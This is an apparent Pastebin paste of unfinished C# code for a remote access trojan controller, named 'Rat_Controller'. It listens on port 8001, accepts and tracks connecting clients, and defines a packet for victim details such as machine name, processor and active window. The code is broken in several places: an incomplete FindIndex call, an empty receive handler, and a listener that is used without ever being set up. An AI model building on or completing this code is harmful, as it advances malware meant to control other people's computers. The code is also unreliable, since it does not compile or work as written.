Advertisement
Guest User

Untitled

a guest
May 22nd, 2019
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.37 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Net.Sockets;
  7. using System.Net;
  8. using System.Windows.Forms;
  9.  
  10.  
  11.  
  12. namespace Rat_Controller
  13. {
  14.     class Client
  15.     {
  16.  
  17.         public ReceivePacket Receive;
  18.         public int Id;
  19.         public Socket _socket;
  20.         public Client(Socket socket,int id)
  21.         {
  22.             Receive = new ReceivePacket(socket, id);
  23.             Receive.ReceiveData();
  24.             _socket = socket;
  25.             Id = id;
  26.  
  27.         }
  28.     }
  29.     public class ClientsControl
  30.     {
  31.         public static List<Client> ClientList = new List<Client>();
  32.         public static void AddClient(Socket socket)
  33.         {
  34.             ClientList.Add(new Client(socket, ClientList.Count));
  35.         }
  36.         public static void RemoveClient(int id)
  37.         {
  38.             ClientList.RemoveAt(ClientList.FindIndex())
  39.         }
  40.  
  41.     }
  42.     class ReceivePacket
  43.     {
  44.         private byte[] _buffer;
  45.         private Socket _receiveSocket;
  46.         public ReceivePacket(Socket receiveSocket,int id)
  47.         {
  48.             _receiveSocket = receiveSocket;
  49.         }
  50.         public void ReceiveData()
  51.         {
  52.             _buffer = new byte[1024];
  53.             _receiveSocket.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, ReceiveCallback, null);
  54.         }
  55.         private void ReceiveCallback(IAsyncResult AR)
  56.         {
  57.             if(_receiveSocket.EndReceive(AR) > 1)
  58.             {
  59.  
  60.             }
  61.             else
  62.             {
  63.                 _receiveSocket.Disconnect(true);
  64.             }
  65.         }
  66.     }
  67.  
  68.     class Networking
  69.     {
  70.         struct Packet
  71.         {
  72.             string Name;
  73.             string Processor;
  74.             string Time;
  75.             string CurrentWindow;
  76.         };
  77.  
  78.         public string data;
  79.         public Socket s = null;
  80.         public IPAddress ip = null;
  81.         public TcpListener listen;
  82.         public Networking()
  83.         {
  84.  
  85.         }
  86.  
  87.         public void AcceptCallback(IAsyncResult ar)
  88.         {
  89.             MessageBox.Show("Accepted callback");
  90.             Socket acceptSocket = s.EndAccept(ar);
  91.             ClientsControl.AddClient(acceptSocket);
  92.  
  93.             s.BeginAccept(AcceptCallback, s);
  94.         }
  95.         public int startListen()
  96.         {
  97.  
  98.             try
  99.             {
  100.                 s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  101.  
  102.                 ip = IPAddress.Parse("127.0.0.1");
  103.  
  104.                 // listen = new TcpListener(ip, 8001);
  105.                 //listen.Start();
  106.                
  107.                 s.Bind(new IPEndPoint(IPAddress.Any, 8001));
  108.                 s.Listen(10);
  109.                 s.BeginAccept(AcceptCallback, s);
  110.        
  111.             }
  112.             catch(Exception ex)
  113.             {
  114.                 throw new Exception("Listening Error " + ex);
  115.             }
  116.  
  117.                 s = listen.AcceptSocket(); //blocking
  118.                 MessageBox.Show("Connection Established From " + s.RemoteEndPoint);
  119.                 byte[] b = new byte[10000];
  120.                 int bytesRec = s.Receive(b);
  121.  
  122.                  data = Encoding.Default.GetString(b);
  123.            // ASCIIEncoding asen = new ASCIIEncoding();
  124.            // s.Send(asen.GetBytes(""))
  125.  
  126.             MessageBox.Show(data);
  127.  
  128.             return 0;
  129.  
  130.  
  131.         }
  132.  
  133.     }
  134. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement